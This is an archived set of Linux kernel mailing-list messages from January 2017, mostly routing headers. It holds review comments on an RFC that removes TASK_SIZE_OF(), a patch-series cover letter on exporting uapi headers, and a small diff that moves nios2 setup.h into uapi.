 id 1cP4iH-0002Vm-VV
 for linux-arm-kernel@bombadil.infradead.org; Thu, 05 Jan 2017 09:52:02 +0000
Original-Received: from smtp-out4.electric.net ([192.162.216.182])
 by merlin.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cP4iG-0003KW-0L
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jan 2017 09:52:00 +0000
Original-Received: from 1cP4hk-0001l4-VC by out4c.electric.net with emc1-ok (Exim 4.87)
 (envelope-from <David.Laight@ACULAB.COM>)
 id 1cP4ho-0001zK-Ud; Thu, 05 Jan 2017 01:51:32 -0800
Original-Received: by emcmailer; Thu, 05 Jan 2017 01:51:32 -0800
Original-Received: from [213.249.233.130] (helo=AcuExch.aculab.com)
 by out4c.electric.net with esmtps (TLSv1:AES128-SHA:128) (Exim 4.87)
 (envelope-from <David.Laight@ACULAB.COM>)
 id 1cP4hk-0001l4-VC; Thu, 05 Jan 2017 01:51:28 -0800
Original-Received: from ACUEXCH.Aculab.com ([::1]) by AcuExch.aculab.com ([::1]) with
 mapi id 14.03.0123.003; Thu, 5 Jan 2017 09:51:27 +0000
Thread-Topic: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Thread-Index: AQHSYrYz0etTaIeOJEKWB0AmMznucqEprK1A
In-Reply-To: <20161230155634.8692-2-dsafonov@virtuozzo.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.202.99.200]
X-Outbound-IP: 213.249.233.130
X-Env-From: David.Laight@ACULAB.COM
X-Proto: esmtps
X-Revdns: 
X-HELO: AcuExch.aculab.com
X-TLS: TLSv1:AES128-SHA:128
X-Authenticated_ID: 
X-PolicySMART: 3396946, 3397078
X-Virus-Status: Scanned by VirusSMART (c)
X-Virus-Status: Scanned by VirusSMART (s)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170105_045200_167196_9C34D2C4 
X-CRM114-Status: UNSURE (   7.24  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:548019 gmane.linux.kernel:2380648 gmane.linux.ports.mips.general:57332 gmane.linux.ports.sparc:24256 gmane.linux.ports.parisc:27141 gmane.linux.ports.ppc64.devel:136978
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/548019>

From: Dmitry Safonov
> Sent: 30 December 2016 15:57
> All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
> TASK_SIZE_MAX since:
> commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
> FSBASE/GSBASE upper limits"),
> commit a06db751c321 ("pagemap: check permissions and capabilities at
> open time"),
...
> +#define TASK_SIZE	        (current->thread.task_size)

I'm not sure I like he hidden 'current' argument to an
apparent constant.

	David

From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Thu, 5 Jan 2017 09:54:30 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <CALCETrXUB8AeEzJ-WtW3kW9c189AcOe+GBq8TE7GPE+xrvXS8g@mail.gmail.com>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com>
 <20161230155634.8692-2-dsafonov@virtuozzo.com>
 <063D6719AE5E284EB5DD2968C1650D6DB0258289@AcuExch.aculab.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483638929 24506 195.159.176.226 (5 Jan 2017 17:55:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jan 2017 17:55:29 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>,
 "sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "0x7f454c46@gmail.com" <0x7f454c46@gmail.com>, Helge Deller <deller@gmx.de>,
 "x86@kernel.org" <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Will Deacon <will.deacon@arm.com>, Andy Lutomirski <luto@kernel.org>,
 Thomas Gleixner <tglx@linutronix.de>,
 "linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>,
 "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
 Dmitry Safonov <dsafonov@virtuozzo.com>,
 "linux-kernel@vger.kernel.or
To: David Laight <David.Laight@aculab.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jan 05 18:55:22 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cPCFt-0004rX-T8
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jan 2017 18:55:14 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cPCFw-0008O9-9U; Thu, 05 Jan 2017 17:55:16 +0000
Original-Received: from mail-ua0-x234.google.com ([2607:f8b0:400c:c08::234])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cPCFr-000765-Ur
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jan 2017 17:55:13 +0000
Original-Received: by mail-ua0-x234.google.com with SMTP id 88so379537292uaq.3
 for <linux-arm-kernel@lists.infradead.org>;
 Thu, 05 Jan 2017 09:54:51 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=amacapital-net.20150623.gappssmtp.com; s=20150623;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=2ZYgPXy1w2kZo9j4AemzbZTpBHZ8JBZp0zLb5A+zQzM=;
 b=GVQRQ9WlQN/J15IbfCQeZG7E/9YrsNiiQheqRjex2qzcQh/vvRTNxPNQrsgeBhebZZ
 vhquWhMuggWDh2mXQdPZpR2VWZSfzaFiu5J6E+M8RaRUJz1MuSiaTZAlyfNEU5KxA3+j
 mRoYY4ZsU85n6qY7Z1/2AMffRSeBAaC0w5fuaZ/5G8wqa6GmwcH8VW6oPkRlS8fpcwPE
 QbjTN2NWmXxg3ppRa2d4CVDbCt8CfiUQeRVjEFaiFcHHeMKt8WzVILUpVam0xF2Y26mQ
 UvEMhQIz6314xnpop/lmpHhhSJq2GzWqFAXkp5p7JQXTz+BX6Jnar8TxAX8CSSJfa7Ic
 153Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=2ZYgPXy1w2kZo9j4AemzbZTpBHZ8JBZp0zLb5A+zQzM=;
 b=WaaYY2yXNepPrvl7xCLzmFytQubkvnJKhzK5MbKXo9US3RQblVCdfPh5UkdciE308B
 NKkCla0DZmEJJ03HDn6YVbShM2o2CPJbRukGTLy5pVHsCTqEOwd0SuwjI7MNwtNDHvfO
 HwDXaJQ8UpaB1i+PKNX1Zz8loRnK10uSyk7OcJtbP3/yv7/Om1ruH4DHgWmPSqii2O/d
 VlthNkHHNjIlLwCSBAXtpL2fBcUB93IAnTU4se8QoEu5+lGDNOvil9mf/ECcOD0ShDy6
 qTS2n7roegRo2z0hlwb3bItaS5+YxWy1BY3cfS+na1YUc612hyFR+CE+4S6S+uhfyKQg
 Q7lA==
X-Gm-Message-State: AIkVDXJqKI231uP6VcRDV38jPiSQG4AKkwWT0trfXfw98it4WDDNaYz3Yvu+m+G49E5R8vZyv8lJDb7BP9Ceubzm
X-Received: by 10.176.6.231 with SMTP id g94mr54005034uag.91.1483638890507;
 Thu, 05 Jan 2017 09:54:50 -0800 (PST)
Original-Received: by 10.103.139.66 with HTTP; Thu, 5 Jan 2017 09:54:30 -0800 (PST)
In-Reply-To: <063D6719AE5E284EB5DD2968C1650D6DB0258289@AcuExch.aculab.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170105_095512_075587_1AA18B07 
X-CRM114-Status: UNSURE (   9.16  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:548148 gmane.linux.ports.mips.general:57335 gmane.linux.ports.sparc:24259 gmane.linux.ports.parisc:27142 gmane.linux.kernel:2381008 gmane.linux.ports.ppc64.devel:136999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/548148>

On Thu, Jan 5, 2017 at 1:51 AM, David Laight <David.Laight@aculab.com> wrote:
> From: Dmitry Safonov
>> Sent: 30 December 2016 15:57
>> All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
>> TASK_SIZE_MAX since:
>> commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
>> FSBASE/GSBASE upper limits"),
>> commit a06db751c321 ("pagemap: check permissions and capabilities at
>> open time"),
> ...
>> +#define TASK_SIZE            (current->thread.task_size)
>
> I'm not sure I like he hidden 'current' argument to an
> apparent constant.

Me neither.  But this patch is merely changing the implementation.

From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v2 0/7] uapi: export all headers under uapi directories
Date: Fri,  6 Jan 2017 10:43:52 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1483695887 21499 195.159.176.226 (6 Jan 2017 09:44:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:44:47 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jan 06 10:44:41 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cPR4i-0004tR-7D
	for sgi-linux-mips@gmane.org; Fri, 06 Jan 2017 10:44:40 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:40876 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992835AbdAFJol4l0T5 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 6 Jan 2017 10:44:41 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 06 Jan 2017 10:44:25 +0100 (CET)
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:44746 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S23992036AbdAFJoSYdSc5 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 6 Jan 2017 10:44:18 +0100
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
        by proxy.6wind.com (Postfix) with ESMTPS id 7A7D2254DC;
        Fri,  6 Jan 2017 10:44:06 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
        (envelope-from <root@elsass.dev.6wind.com>)
        id 1cPR49-0004sP-2T; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
X-archive-position: 56205
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: nicolas.dichtel@6wind.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57372 gmane.linux.kbuild.devel:16247 gmane.linux.documentation:44038 gmane.linux.kernel:2381503 gmane.linux.ports.alpha:3992 gmane.linux.kernel.arc:1962 gmane.linux.ports.arm.kernel:548341 gmane.linux.ports.hexagon:1068 gmane.linux.ports.ia64:27519 gmane.linux.kernel.metag:1195 gmane.linux.ports.parisc:27143 gmane.linux.ports.ppc64.devel:137017 gmane.linux.ports.sh.devel:54904 gmane.linux.ports.sparc:24263 gmane.linux.kernel.cross-arch:34659 gmane.comp.video.dri.devel:175517 gmane.linux.network:448443 gmane.linux.drivers.video-input-infrastructure:111657 gmane.linux.kernel.mmc:41931 gmane.comp.security.firewalls.netfilter.devel:66776 gmane.linux.nfs:81280 gmane.linux.raid:55274 gmane.linux.kernel.spi.devel:26040 gmane.linux.drivers.mtd:71092 gmane.linux.drivers.rdma:45159 gmane.linux.scsi.open-fcoe.devel:12981 gmane.linux.alsa.devel:162871
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57372>


Here is the v2 of this series. The first 5 patches are just cleanup: some
exported headers were still under a non-uapi directory.
The patch 6 was spotted by code review: there is no in-tree user of this
functionality.
The last patch remove the use of header-y. Now all files under an uapi
directory are exported.

asm is a bit special, most of architectures export asm/<arch>/include/uapi/asm
only, but there is two exceptions:
 - cris which exports arch/cris/include/uapi/arch-v[10|32];
 - tile which exports arch/tile/include/uapi/arch.
Because I don't know if the output of 'make headers_install_all' can be changed,
I introduce subdir-y in Kbuild file. The headers_install_all target copies all
asm/<arch>/include/uapi/asm to usr/include/asm-<arch> but
arch/cris/include/uapi/arch-v[10|32] and arch/tile/include/uapi/arch are not
prefixed (they are put asis in usr/include/). If it's acceptable to modify the
output of 'make headers_install_all' to export asm headers in
usr/include/asm-<arch>/asm, then I could remove this new subdir-y and exports
everything under arch/<arch>/include/uapi/.

Note also that exported files for asm are a mix of files listed by:
 - include/uapi/asm-generic/Kbuild.asm;
 - arch/x86/include/uapi/asm/Kbuild;
 - arch/x86/include/asm/Kbuild.
This complicates a lot the processing (arch/x86/include/asm/Kbuild is also
used by scripts/Makefile.asm-generic).

This series has been tested with a 'make headers_install' on x86 and a
'make headers_install_all'. I've checked the result of both commands.

This patch is built against linus tree. I don't know if it should be
made against antoher tree.

Comments are welcomed,
Nicolas



From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 3/7] nios2: put setup.h in uapi
Date: Fri,  6 Jan 2017 10:43:55 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <1483695839-18660-4-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483695899 27971 195.159.176.226 (6 Jan 2017 09:44:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:44:59 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Jan 06 10:44:52 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1cPR4h-0004pG-P9
	for linux-arm-kernel@m.gmane.org; Fri, 06 Jan 2017 10:44:39 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cPR4k-0002DN-K1; Fri, 06 Jan 2017 09:44:42 +0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]
 helo=proxy.6wind.com)
 by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
 id 1cPR4d-00027Q-UV; Fri, 06 Jan 2017 09:44:37 +0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 5899D254EC;
 Fri,  6 Jan 2017 10:44:08 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sc-5e; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170106_014436_140475_707D81F5 
X-CRM114-Status: UNSURE (   9.82  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:548342 gmane.linux.ports.mips.general:57373 gmane.linux.alsa.devel:162872 gmane.linux.ports.ia64:27520 gmane.linux.documentation:44039 gmane.comp.video.dri.devel:175518 gmane.linux.drivers.mtd:71093 gmane.linux.ports.sparc:24264 gmane.linux.kernel.cross-arch:34660 gmane.linux.drivers.rdma:45160 gmane.linux.ports.hexagon:1069 gmane.linux.ports.sh.devel:54905 gmane.linux.scsi.open-fcoe.devel:12982 gmane.linux.kernel.arc:1963 gmane.linux.drivers.video-input-infrastructure:111658 gmane.linux.kbuild.devel:16248 gmane.linux.raid:55275 gmane.linux.kernel.metag:1196 gmane.linux.nfs:81281 gmane.linux.ports.parisc:27144 gmane.linux.network:448444 gmane.linux.kernel.mmc:41932 gmane.linux.kernel:2381504 gmane.linux.kernel.spi.devel:26041 gmane.comp.security.firewalls.netfilter.devel:66777 gmane.linux.ports.alpha:3993 gmane.linux.ports.ppc64.devel:137018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/548342>

This header file is exported, thus move it to uapi.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 arch/nios2/include/asm/setup.h      | 2 +-
 arch/nios2/include/uapi/asm/setup.h | 6 ++++++
 2 files changed, 7 insertions(+), 1 deletion(-)
 create mode 100644 arch/nios2/include/uapi/asm/setup.h

diff --git a/arch/nios2/include/asm/setup.h b/arch/nios2/include/asm/setup.h
index dcbf8cf1a344..d49e9e91bf55 100644
--- a/arch/nios2/include/asm/setup.h
+++ b/arch/nios2/include/asm/setup.h
@@ -19,7 +19,7 @@
 #ifndef _ASM_NIOS2_SETUP_H
 #define _ASM_NIOS2_SETUP_H
 
-#include <asm-generic/setup.h>
+#include <uapi/asm/setup.h>
 
 #ifndef __ASSEMBLY__
 #ifdef __KERNEL__
diff --git a/arch/nios2/include/uapi/asm/setup.h b/arch/nios2/include/uapi/asm/setup.h
new file mode 100644
index 000000000000..8d8285997ba8
--- /dev/null
+++ b/arch/nios2/include/uapi/asm/setup.h
@@ -0,0 +1,6 @@
+#ifndef _UAPI_ASM_NIOS2_SETUP_H
+#define _UAPI_ASM_NIOS2_SETUP_H
+
+#include <asm-generic/setup.h>
+
+#endif /* _UAPI_ASM_NIOS2_SETUP_H */
-- 
2.8.1

From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 6/7] Makefile.headersinst: remove
	destination-y option
Date: Fri,  6 Jan 2017 10:43:58 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <1483695839-18660-7-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483695915 32551 195.159.176.226 (6 Jan 2017 09:45:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:15 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
